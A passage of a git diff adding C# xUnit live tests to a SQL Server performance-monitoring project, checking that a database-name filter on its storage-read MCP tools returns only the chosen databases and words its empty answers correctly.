+                Assert.True(new[] { A, B }.SequenceEqual(DatabasesIn(both, array)), $"{read} over A and B read {string.Join(",", DatabasesIn(both, array))}: {both}");
+                Assert.Equal("the chosen databases", Echo(both));
+
+                var one = await WebReadAsync(postgres, serverName, read, B);
+                Assert.Equal(new[] { B }, DatabasesIn(one, array));
+                Assert.Equal(B, Echo(one));
+            }
+
+            /* The four public tools that gained database_name take it last, and a blank is every database. */
+            var sizes = await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, "  ", ct);
+            Assert.Equal(new[] { A, B, C }, DatabasesIn(sizes, "databases"));
+            Assert.True(HasEchoKey(sizes));
+            Assert.Null(Echo(sizes));
+            Assert.Equal(new[] { A },DatabasesIn(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, A, ct), "tables"));
+            Assert.Equal(new[] { C }, DatabasesIn(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 0, C, ct), "databases"));
+            Assert.Equal(new[] { B }, DatabasesIn(await DarlingMcpDataTools.GetFileIoStats(postgres, serverName, B, ct), "files"));
+        }, Cleanup);
+
+    /// <summary>The empty answers of the three tools that gained <c>database_name</c> say which databases they were limited to.</summary>
+    [Fact]
+    public Task TheEmptyAnswers_CarryTheEcho() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5w-echo", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await StorageDatabaseFilterLiveTests.InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, "TA", 100m);
+            await StorageDatabaseFilterLiveTests.InsertFileAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, 100m);
+            await StorageDatabaseFilterLiveTests.InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, 100m);
+
+            /* A snapshot exists, the chosen database is not in it: empty, naming the database. */
+            foreach (var read in new[] { "get_database_sizes", "get_table_index_sizes", "get_pvs_stats" })
+            {
+                var one = await WebReadAsync(postgres, serverName, read, "NoSuchDb");
+                Assert.Equal("empty", DarlingMcpTestData.StatusOf(one));
+                Assert.Equal("NoSuchDb", Echo(one));
+                var many = await WebReadAsync(postgres, serverName, read, "NoX", "NoY");
+                Assert.Equal("empty", DarlingMcpTestData.StatusOf(many));
+                Assert.Equal("the chosen databases", Echo(many));
+            }
+        }, Cleanup);
+
+    /// <summary>A server with no data at all: the no-data answers carry the echo too, null for every database.</summary>
+    [Fact]
+    public Task TheNoDataAnswers_CarryTheEcho() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5w-echo-none", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await Task.CompletedTask;
+            foreach (var read in new[] { "get_database_sizes", "get_table_index_sizes", "get_pvs_stats" })
+            {
+                var none = await WebReadAsync(postgres, serverName, read, A, B);
+                Assert.Equal("the chosen databases", Echo(none));
+                var noneAll = await WebReadAsync(postgres, serverName, read);
+                Assert.True(HasEchoKey(noneAll), $"{read}'s no-data answer for every database has no database_name key: {noneAll}");
+                Assert.Null(Echo(noneAll));
+            }
+        }, Cleanup);
+}
diff --git a/Darling/Darling.Tests/StorageCommandTimeoutTests.cs b/Darling/Darling.Tests/StorageCommandTimeoutTests.cs
index ac5e7dd362..16f22bc736 100644
--- a/Darling/Darling.Tests/StorageCommandTimeoutTests.cs
+++ b/Darling/Darling.Tests/StorageCommandTimeoutTests.cs
@@ -272,7 +272,8 @@ private static IEnumerable<string> StorageSources()
 
         Assert.True(Directory.Exists(dir), $"storage project directory not found: {dir}");
 
-        var paths = Directory.EnumerateFiles(dir, "*.cs", SearchOption.TopDirectoryOnly)
+        var paths = Directory.EnumerateFiles(dir, "*.cs", SearchOption.AllDirectories)
+            .Where(p => !IsBuildOutput(dir, p))
             .OrderBy(p => p, System.StringComparer.Ordinal)
             .ToArray();
 
@@ -281,6 +282,44 @@ private static IEnumerable<string> StorageSources()
         return paths;
     }
 
+    /// <summary>
+    /// True when a path sits under the project's <c>bin</c> or <c>obj</c> tree. Compared as PATH
+    /// SEGMENTS, so a source file that merely has "obj" in its name is not excluded.
+    /// </summary>
+    private static bool IsBuildOutput(string projectDir, string path)
+    {
+        var relative = Path.GetRelativePath(projectDir, path);
+        var segments = relative.Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
+
+        return segments.Any(s =>
+            string.Equals(s, "bin", System.StringComparison.OrdinalIgnoreCase)
+            || string.Equals(s, "obj", System.StringComparison.OrdinalIgnoreCase));
+    }
+
+    /// <summary>The sweep descends into Storage subfolders, so the FinOps readers' commands are covered.</summary>
+    [Fact]
+    public void TheStorageSweep_IncludesTheSubfolders_AndTheFinOpsReader()
+    {
+        var dir = Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Storage");
+        var swept = StorageSources().Select(p => p.Replace('\\', '/')).ToArray();
+
+        Assert.Contains(swept, p => p.EndsWith("/FinOps/DarlingFinOpsHighImpactReader.cs", System.StringComparison.Ordinal));
+        Assert.DoesNotContain(StorageSources(), p => IsBuildOutput(dir, p));
+    }
+
+    /// <summary>The bin/obj rule compares whole path segments, relative to the project folder.</summary>
+    [Theory]
+    [InlineData("obj/Debug/x.cs", true)]
+    [InlineData("bin/Release/x.cs", true)]
+    [InlineData("Robj/x.cs", false)]
+    [InlineData("FinOps/objects.cs", false)]
+    public void IsBuildOutput_MatchesWholeSegmentsOnly(string relative, bool expected)
+    {
+        var dir = Path.Combine(Path.GetTempPath(), "proj");
+
+        Assert.Equal(expected, IsBuildOutput(dir, Path.Combine(dir, relative)));
+    }
+
     private static string RepoRoot([CallerFilePath] string thisFile = "")
     {
         var dir = Path.GetDirectoryName(thisFile)!;
diff --git a/Darling/Darling.Tests/StorageDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/StorageDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..16504de63d
--- /dev/null
+++ b/Darling/Darling.Tests/StorageDatabaseFilterLiveTests.cs
@@ -0,0 +1,353 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Darling.Tests;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5244 PR5, lane R1: the database filter on the storage reads get_table_index_sizes, get_database_sizes and get_pvs_stats,
+/// run against a store. Every read takes a <see cref="DatabaseFilter"/> through an internal overload (the public MCP method
+/// passes <see cref="DatabaseFilter.All"/>). Each live test seeds databases A, B and C and chooses A and B, so a predicate
+/// that is missing, or that matches one name only, shows as C (or a missing B) in the answer. The one-name consumers on each
+/// read's empty path are covered: a filter that matches nothing is <c>empty</c> "for the chosen databases" when the server has
+/// data, and stays <c>unavailable</c> or <c>not_collected</c> when it has none.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StorageDatabaseFilterLiveTests
+{
+    internal const string Cleanup =
+        "DELETE FROM index_object_stats WHERE server_id = {0}; DELETE FROM database_size_stats WHERE server_id = {0}; " +
+        "DELETE FROM pvs_stats WHERE server_id = {0}";
+
+    internal const string A = "StorageFilterA";
+    internal const string B = "StorageFilterB";
+    internal const string C = "StorageFilterC";
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    private static JsonElement Parse(string json) => JsonDocument.Parse(json).RootElement.Clone();
+
+    private static string Message(string json) => Parse(json).GetProperty("message").GetString()!;
+
+    private static string[] Names(JsonElement root, string array) =>
+        root.GetProperty(array).EnumerateArray().Select(e => e.GetProperty("database_name").GetString()!).ToArray();
+
+    /* ───────────────────────────── seeding ───────────────────────────── */
+
+    internal static Task InsertTableAsync(Npgsql.NpgsqlConnection connection, System.Threading.CancellationToken ct,
+        int serverId, string serverName, DateTime t, string db, string table, decimal reservedMb) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t), serverId, serverName, db, "dbo", 100, table, 1,
+            "PK_" + table, "CLUSTERED", reservedMb, reservedMb / 2, 1_000L);
+
+    internal static Task InsertFileAsync(Npgsql.NpgsqlConnection connection, System.Threading.CancellationToken ct,
+        int serverId, string serverName, DateTime t, string db, decimal sizeMb) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, file_id, file_type_desc, file_name, physical_name, total_size_mb, used_size_mb)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t), serverId, serverName, db, 5, 1, "ROWS", db + "_data",
+            "C:\\data\\" + db + ".mdf", sizeMb, sizeMb / 2);
+
+    internal static Task InsertPvsAsync(Npgsql.NpgsqlConnection connection, System.Threading.CancellationToken ct,
+        int serverId, string serverName, DateTime t, string db, decimal pvsMb) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO pvs_stats (collection_id, collection_time, server_id, server_name, database_name, database_id, is_accelerated_database_recovery_on, persistent_version_store_size_mb, database_data_size_mb)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t), serverId, serverName, db, 7, true, pvsMb, 1000m);
+
+    /* ───────────────────────────── get_table_index_sizes ───────────────────────────── */
+
+    /// <summary>
+    /// Two of three databases: only the chosen databases' tables come back, the largest table (database C's) is not there,
+    /// and the <c>history</c> block is the server's own span, equal to the unfiltered call's, though the oldest snapshot
+    /// holds only database C (the snapshot anchors never move with the filter).
+    /// </summary>
+    [Fact]
+    public Task TableIndexSizes_TwoOfThree_OnlyTheChosenDatabases_HistoryStaysTheServers() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-tables", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await InsertTableAsync(connection, ct, serverId, serverName, now.AddDays(-10), C, "TC", 800m);
+            await InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, "TA", 300m);
+            await InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), B, "TB", 200m);
+            await InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), C, "TC", 900m);
+
+            var all = Parse(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, DatabaseFilter.All, ct));
+            Assert.Equal(new[] { C, A, B }, Names(all, "tables"));
+
+            var chosen = Parse(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, Of(A, B), ct));
+            Assert.Equal(new[] { A, B }, Names(chosen, "tables"));
+            Assert.Equal(2, chosen.GetProperty("tables_returned").GetInt32());
+            Assert.False(chosen.GetProperty("truncated").GetBoolean());
+            Assert.Equal(all.GetProperty("history").GetRawText(), chosen.GetProperty("history").GetRawText());
+
+            var one = Parse(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, DatabaseFilter.One(B), ct));
+            Assert.Equal(new[] { B }, Names(one, "tables"));
+
+            /* The public MCP method passes every database, and a whitespace-only name is every database too (M3). */
+            Assert.Equal(all.GetRawText(), Parse(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, cancellationToken: ct)).GetRawText());
+            Assert.Equal(all.GetRawText(), Parse(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, DatabaseFilter.One("   "), ct)).GetRawText());
+        }, Cleanup);
+
+    /// <summary>
+    /// The cap of 100 applies after the filter: 105 big tables in database C and two small ones in A. Unfiltered, the page is
+    /// 100 tables of C and truncated; filtered to A and B, the page holds both small tables and is not truncated (a cap taken
+    /// before the filter would have returned nothing).
+    /// </summary>
+    [Fact]
+    public Task TableIndexSizes_CapAppliesAfterTheFilter() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-tables-cap", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            for (var i = 0; i < 105; i++)
+            {
+                await InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), C, "Big" + i, 1000m + i);
+            }
+
+            await InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, "SmallA", 5m);
+            await InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), B, "SmallB", 4m);
+
+            var all = Parse(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, DatabaseFilter.All, ct));
+            Assert.Equal(100, all.GetProperty("tables_returned").GetInt32());
+            Assert.True(all.GetProperty("truncated").GetBoolean());
+            Assert.DoesNotContain(A, Names(all, "tables"));
+
+            var chosen = Parse(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, Of(A, B), ct));
+            Assert.Equal(new[] { A, B }, Names(chosen, "tables"));
+            Assert.False(chosen.GetProperty("truncated").GetBoolean());
+        }, Cleanup);
+
+    /// <summary>
+    /// The empty path. A filter that matches no table, on a server that has index rows, is <c>empty</c> and says so for the
+    /// database (one name) or the chosen databases (two or more), never <c>unavailable</c>. A server with no index rows at
+    /// all stays <c>unavailable</c> under a filter and without one, and a server whose engine cannot collect stays
+    /// <c>not_collected</c>.
+    /// </summary>
+    [Fact]
+    public Task TableIndexSizes_EmptyPaths_SayWhichKindOfNothing() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-tables-empty", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var none = await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, Of("Nope1", "Nope2"), ct);
+            Assert.Equal("unavailable", DarlingMcpTestData.StatusOf(none));
+            Assert.Equal("unavailable", DarlingMcpTestData.StatusOf(await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, DatabaseFilter.All, ct)));
+
+            await InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, "TA", 300m);
+
+            var one = await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, DatabaseFilter.One("Nope1"), ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(one));
+            Assert.Contains("database 'Nope1'", Message(one), StringComparison.Ordinal);
+            Assert.DoesNotContain("chosen databases", Message(one), StringComparison.Ordinal);
+
+            var many = await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, Of("Nope1", "Nope2"), ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(many));
+            Assert.Contains("the chosen databases", Message(many), StringComparison.Ordinal);
+            Assert.DoesNotContain("Nope1", Message(many), StringComparison.Ordinal);
+
+            await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET engine_kind = $2 WHERE server_id = $1", serverId, MonitoredEngineKind.Postgres);
+            await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM index_object_stats WHERE server_id = $1", serverId);
+            Assert.Equal("not_collected", DarlingMcpTestData.StatusOf(
+                await DarlingMcpObjectStatsTools.GetTableIndexSizes(postgres, serverName, Of("Nope1", "Nope2"), ct)));
+        }, Cleanup);
+
+    /* ───────────────────────────── get_database_sizes ───────────────────────────── */
+
+    /// <summary>
+    /// Two of three databases at the server's newest snapshot: only the chosen databases' files, the same
+    /// <c>captured_at</c> as the unfiltered call. A database that exists only in an OLDER snapshot is not found (the snapshot
+    /// never moves with the filter), and that is an <c>empty</c> answer for the database, not <c>unavailable</c>.
+    /// </summary>
+    [Fact]
+    public Task DatabaseSizes_TwoOfThree_OnlyTheChosenDatabases_SnapshotStaysTheServers() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-sizes", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await InsertFileAsync(connection, ct, serverId, serverName, now.AddHours(-5), "OnlyOlder", 77m);
+            await InsertFileAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, 100m);
+            await InsertFileAsync(connection, ct, serverId, serverName, now.AddHours(-1), B, 200m);
+            await InsertFileAsync(connection, ct, serverId, serverName, now.AddHours(-1), C, 300m);
+
+            var all = Parse(await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, DatabaseFilter.All, ct));
+            Assert.Equal(new[] { A, B, C }, Names(all, "databases"));
+
+            var chosen = Parse(await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, Of(A, B), ct));
+            Assert.Equal(new[] { A, B }, Names(chosen, "databases"));
+            Assert.Equal(2, chosen.GetProperty("file_count").GetInt32());
+            Assert.Equal(all.GetProperty("captured_at").GetString(), chosen.GetProperty("captured_at").GetString());
+
+            /* The exact spelling: a differently cased name is not the database (the SQL arm compares with =). */
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(
+                await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, DatabaseFilter.One(A.ToUpperInvariant()), ct)));
+
+            Assert.Equal(all.GetRawText(), Parse(await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, cancellationToken: ct)).GetRawText());
+            Assert.Equal(all.GetRawText(), Parse(await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, DatabaseFilter.One(""), ct)).GetRawText());
+
+            var older = await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, DatabaseFilter.One("OnlyOlder"), ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(older));
+            Assert.Contains("database 'OnlyOlder'", Message(older), StringComparison.Ordinal);
+
+            var olderMany = await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, Of("OnlyOlder", "Nope"), ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(olderMany));
+            Assert.Contains("the chosen databases", Message(olderMany), StringComparison.Ordinal);
+        }, Cleanup);
+
+    /// <summary>The empty path with no snapshot at all stays <c>unavailable</c> (filtered or not), and a server whose engine
+    /// cannot collect stays <c>not_collected</c>.</summary>
+    [Fact]
+    public Task DatabaseSizes_NoSnapshot_StaysUnavailableOrNotCollected() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-sizes-empty", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            Assert.Equal("unavailable", DarlingMcpTestData.StatusOf(
+                await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, Of("Nope1", "Nope2"), ct)));
+            Assert.Equal("unavailable", DarlingMcpTestData.StatusOf(
+                await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, DatabaseFilter.All, ct)));
+
+            await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET engine_kind = $2 WHERE server_id = $1", serverId, MonitoredEngineKind.Postgres);
+            Assert.Equal("not_collected", DarlingMcpTestData.StatusOf(
+                await DarlingMcpObjectStatsTools.GetDatabaseSizes(postgres, serverName, DatabaseFilter.One("Nope1"), ct)));
+        }, Cleanup);
+
+    /* ───────────────────────────── get_pvs_stats ───────────────────────────── */
+
+    /// <summary>
+    /// Two of three databases at the server's newest snapshot: only the chosen databases' rows, the same <c>as_of</c> as the
+    /// unfiltered call, and a trend over the chosen databases only.
+    /// </summary>
+    [Fact]
+    public Task PvsStats_TwoOfThree_OnlyTheChosenDatabases_AsOfStaysTheServers() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-pvs", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, 50m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), B, 10m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), C, 900m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-2), A, 40m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-2), B, 8m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-2), C, 800m);
+
+            var all = Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 24, DatabaseFilter.All, ct));
+            Assert.Equal(new[] { C, A, B }, Names(all, "databases"));
+            Assert.Equal(new[] { A, B, C }, Names(all, "trend"));
+
+            var chosen = Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 24, Of(A, B), ct));
+            Assert.Equal(new[] { A, B }, Names(chosen, "databases"));
+            Assert.Equal(new[] { A, B }, Names(chosen, "trend"));
+            Assert.Equal(all.GetProperty("as_of").GetString(), chosen.GetProperty("as_of").GetString());
+
+            var one = Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 0, DatabaseFilter.One(B), ct));
+            Assert.Equal(new[] { B }, Names(one, "databases"));
+
+            Assert.Equal(all.GetRawText(), Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 24, cancellationToken: ct)).GetRawText());
+            Assert.Equal(all.GetRawText(), Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 24, DatabaseFilter.One(" "), ct)).GetRawText());
+        }, Cleanup);
+
+    /// <summary>
+    /// The trend's top five is the top five of the CHOSEN databases: seven big databases outrank A and B, so an unfiltered
+    /// trend holds five of the big ones and none of A or B, while a trend filtered to A and B holds both.
+    /// </summary>
+    [Fact]
+    public Task PvsStats_TrendTopFiveAppliesAfterTheFilter() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-pvs-top5", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            for (var i = 1; i <= 7; i++)
+            {
+                await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), "Big" + i, 100m * i);
+                await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-2), "Big" + i, 90m * i);
+            }
+
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, 5m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), B, 4m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-2), A, 3m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-2), B, 2m);
+
+            var all = Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 24, DatabaseFilter.All, ct));
+            Assert.Equal(5, Names(all, "trend").Length);
+            Assert.DoesNotContain(A, Names(all, "trend"));
+
+            var chosen = Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 24, Of(A, B), ct));
+            Assert.Equal(new[] { A, B }, Names(chosen, "trend"));
+            Assert.All(chosen.GetProperty("trend").EnumerateArray(), t => Assert.Equal(2, t.GetProperty("points").GetArrayLength()));
+
+            /* The reader-level calls the tool makes: the same sets. */
+            var rows = await DarlingPvsReader.GetPvsStatsLatestAsync(postgres, serverId, Of(A, B), ct);
+            Assert.Equal(new[] { A, B }, rows.Select(r => r.DatabaseName).ToArray());
+            var points = await DarlingPvsReader.GetPvsTrendAsync(postgres, serverId, now.AddHours(-24), Of(A, B), ct);
+            Assert.Equal(new[] { A, B }, points.Select(p => p.DatabaseName).Distinct().ToArray());
+        }, Cleanup);
+
+    /// <summary>
+    /// The empty path. A filter that matches no database, on a server with a PVS snapshot, is <c>empty</c> for the database
+    /// (one name) or the chosen databases (two or more) and does not say the server has no PVS data. A server with no PVS rows
+    /// keeps its own sentence under a filter and without one, and a server whose engine cannot collect stays
+    /// <c>not_collected</c>.
+    /// </summary>
+    [Fact]
+    public Task PvsStats_EmptyPaths_SayWhichKindOfNothing() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5r1-pvs-empty", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var noData = await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 0, Of("Nope1", "Nope2"), ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(noData));
+            Assert.Contains("No PVS data collected for this server", Message(noData), StringComparison.Ordinal);
+            Assert.Equal(Message(noData), Message(await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 0, DatabaseFilter.All, ct)));
+
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), A, 50m);
+            await InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), B, 10m);
+
+            var one = await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 0, DatabaseFilter.One("Nope1"), ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(one));
+            Assert.Contains("database 'Nope1'", Message(one), StringComparison.Ordinal);
+            Assert.DoesNotContain("No PVS data collected for this server", Message(one), StringComparison.Ordinal);
+
+            var many = await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 0, Of("Nope1", "Nope2"), ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(many));
+            Assert.Contains("the chosen databases", Message(many), StringComparison.Ordinal);
+            Assert.Contains("2 other database(s)", Message(many), StringComparison.Ordinal);
+
+            await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM pvs_stats WHERE server_id = $1", serverId);
+            await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET engine_kind = $2 WHERE server_id = $1", serverId, MonitoredEngineKind.Postgres);
+            Assert.Equal("not_collected", DarlingMcpTestData.StatusOf(
+                await DarlingMcpPvsTools.GetPvsStats(postgres, serverName, 0, DatabaseFilter.One("Nope1"), ct)));
+        }, Cleanup);
+
+    /* ───────────────────────────── the statements ───────────────────────────── */
+
+    /// <summary>
+    /// The list predicate is the desktop's, bound as ONE text[] at the index each statement documents: $5 on the four snapshot
+    /// CTEs of the table-size read (and not on <c>boundaries</c>, which carries the snapshot anchors and the store's span), $3
+    /// on the database-size read, $2 on the PVS snapshot read, $3 on the PVS trend's top-five CTE.
+    /// </summary>
+    [Fact]
+    public void Statements_CarryTheListPredicate_OnTheRightRelations()
+    {
+        const string Predicate = "{0}::text[] IS NULL OR database_name = ANY({0})";
+
+        var growth = DarlingObjectStatsReader.ObjectSizeGrowthSql;
+        var predicate5 = string.Format(System.Globalization.CultureInfo.InvariantCulture, Predicate, "$5");
+        Assert.Equal(4, growth.Split(predicate5).Length - 1);
+        var boundaries = growth[growth.IndexOf("boundaries AS (", StringComparison.Ordinal)..growth.IndexOf("latest AS (", StringComparison.Ordinal)];
+        Assert.DoesNotContain("$5", boundaries, StringComparison.Ordinal);
+
+        Assert.Contains(string.Format(System.Globalization.CultureInfo.InvariantCulture, Predicate, "$3"), DarlingObjectStatsReader.DatabaseSizeLatestSql, StringComparison.Ordinal);
+        Assert.Contains(string.Format(System.Globalization.CultureInfo.InvariantCulture, Predicate, "$2"), DarlingPvsReader.PvsStatsLatestSql, StringComparison.Ordinal);
+
+        var trend = DarlingPvsReader.PvsTrendSql;
+        var topDbs = trend[..trend.IndexOf("JOIN top_dbs", StringComparison.Ordinal)];
+        Assert.Contains(string.Format(System.Globalization.CultureInfo.InvariantCulture, Predicate, "$3"), topDbs, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 5", topDbs, StringComparison.Ordinal);
+
+        /* Byte-for-byte the predicate DatabaseFilter.Clause spells. */
+        Assert.Contains(DatabaseFilter.All.Clause("database_name", 5).TrimStart().Substring("AND ".Length), growth, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/StorageGrowthNewTableCutLiveTests.cs b/Darling/Darling.Tests/StorageGrowthNewTableCutLiveTests.cs
new file mode 100644
index 0000000000..6248ca3bc6
--- /dev/null
+++ b/Darling/Darling.Tests/StorageGrowthNewTableCutLiveTests.cs
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// A table with no row at the database's earliest snapshot in the window was created inside it, so it counts its
+/// whole size as growth. The grid's summary and the heatmap's series must agree on that, and cut the same top-N.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class StorageGrowthNewTableCutLiveTests
+{
+    private const string ServerName = "darling-sg-newtable-cut";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private static readonly string[] Queries =
+    [
+        DarlingFinOpsStorageGrowthReader.ObjectGrowthSummarySql,
+        DarlingFinOpsStorageGrowthReader.ObjectGrowthSeriesSql,
+    ];
+
+    [Fact]
+    public void BothQueries_CountAMissingEarliestRowAsZero_AndOrderTheSameWay()
+    {
+        foreach (var sql in Queries)
+        {
+            Assert.Contains("COALESCE(e.e_reserved_mb, 0)", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("COALESCE(e.e_reserved_mb, l.cur_reserved_mb)", sql, StringComparison.Ordinal);
+            Assert.Contains("growth_mb DESC NULLS LAST, l.schema_name, l.table_name", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void LiteQueries_CountAMissingEarliestRowAsZero_AndOrderTheSameWay()
+    {
